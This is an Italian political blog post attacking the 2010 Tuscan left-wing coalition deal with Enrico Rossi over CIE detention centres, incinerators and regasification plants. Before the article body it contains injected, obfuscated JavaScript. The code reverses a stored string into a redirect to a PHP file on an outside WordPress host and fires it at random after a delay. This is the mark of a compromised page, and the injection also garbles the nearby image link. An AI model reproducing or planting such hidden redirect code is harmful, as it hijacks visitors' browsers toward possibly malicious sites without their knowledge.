Regionali, la Sinistra Arcobaleno soccorre il vincitore. CIE, inceneritori e rigassificatori non sono più un problema.

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/02/sinistraarcobalenocontrario1.gif”>sinistraarcobalenocontrarioL’incontro tra il candidato alla presidenza della Regione Toscana Enrico Rossi e i partiti dell’ex Sinistra Arcobaleno si è concluso tra strette di mano e pacche sulle spalle. Si presenteranno alle elezioni del 28 e 29 marzo tutti insieme, con una coalizione che va dal Psi al Pd, dall’Italia dei valori ai Comunisti, da Sinistra ecologia e libertà ai Verdi, dai laburisti ai repubblicani europei.

A nostro modesto avviso, si tratta di un accordo salva poltrone per una sinistra in piena crisi di contenuti e rappresentanza, incapace di uno scatto di dignità davanti ad un programma del Pd che con i valori della sinistra moderna, contemporanea e consapevole del fallimento del liberismo non ha nulla a che vedere. Invece di ragionare alla ricerca di un’alternativa culturale e politica ad un sistema marcio, i dirigenti della sinistra toscana preferiscono saltare sul carrozzone del candidato vincente. Bontà loro.

Stiamo sul merito dell’accordo, però. I vertici dei partiti arcobaleno hanno infatti ottenuto di cancellare la parola CIE dal programma di Rossi. Sarà sostituita dall’ipocrita dizione “centri di reintegrazione”, piccoli CIE gestiti dal volontariato (che però la legge non prevede). Mauro Bonciani del Corriere Fiorentino racconta nella sua cronaca che “altre limature lessicali sono arrivate su termovalorizzatori, rigassificatori, impegni sul lavoro”. L’intelaiatura del programma resta però quella di Enrico Rossi:  gestione moderata del neoliberismo, diritti limitati per i migranti, megaimpianti, come inceneritori e rigassificatori, pericolosi per la salute dei cittadini.

La cronaca narra di un esponente della sinistra che al termine dell’incontro ha dichiarato che lo spirito dell’incontro era quello di “non creare problemi”. Nessun problema quindi per Rossi, che continuerà nella sua cavalcata vincente verso la presidenza senza cambiare sostanzialmente di una virgola il suo programma. E’ lo stesso staff di Rossi a dichiarare a tarda serata che “Il clima è stato sereno, c’è l’accordo. Del programma non è stato cambiato nulla, solo qualche sfumatura.”

I tanti migranti che fuggono dalle guerre e dallo sfruttamento dei loro paesi, impoveriti dalle multinazionali del nord del mondo, hanno subito festeggiato il segretario di Rifondazione Comunista Stefano Cristiano per aver ottenuto l’apertura degli accoglienti “Centri di riconoscimento e reintegrazione” dotati di tutti i comfort, tra cui anche i volontari di complemento dell’associazionismo toscano, al posto dei brutti e sporchi “Centri di identificazione ed espulsione” del cattivo ministro Maroni.

Nel mondo reale si attende invece da un momento all’altro il suono della sveglia. E con esso la consapevolezza che la Bossi-Fini è una e una sola: e prevede i CIE. Se disobbedienza dev’essere, tanto vale disobbedire seriamente e non solo lessicalmente. Il problema è che nei lager per stranieri della Toscana non saranno rinchiusi i dirigenti della sinistra. E infatti Giuseppe Brogi, portavoce di Sinistra e libertà è contento e per nulla preoccupato che persone innocenti saranno private della libertà: “E’ andata bene. Abbiamo aggiunto il no alla Bossi-Fini”.

Dalla parte lunga del tavolo gongolano intanto i responsabili di Partito Democratico, Italia dei valori e Partito Socialista, che fanno notare come l’accordo sia chiuso, come nel programma siano rimasti inceneritori e rigassificatori e come le parole annacquino la forma ma non la sostanza del programma di governo di Enrico Rossi.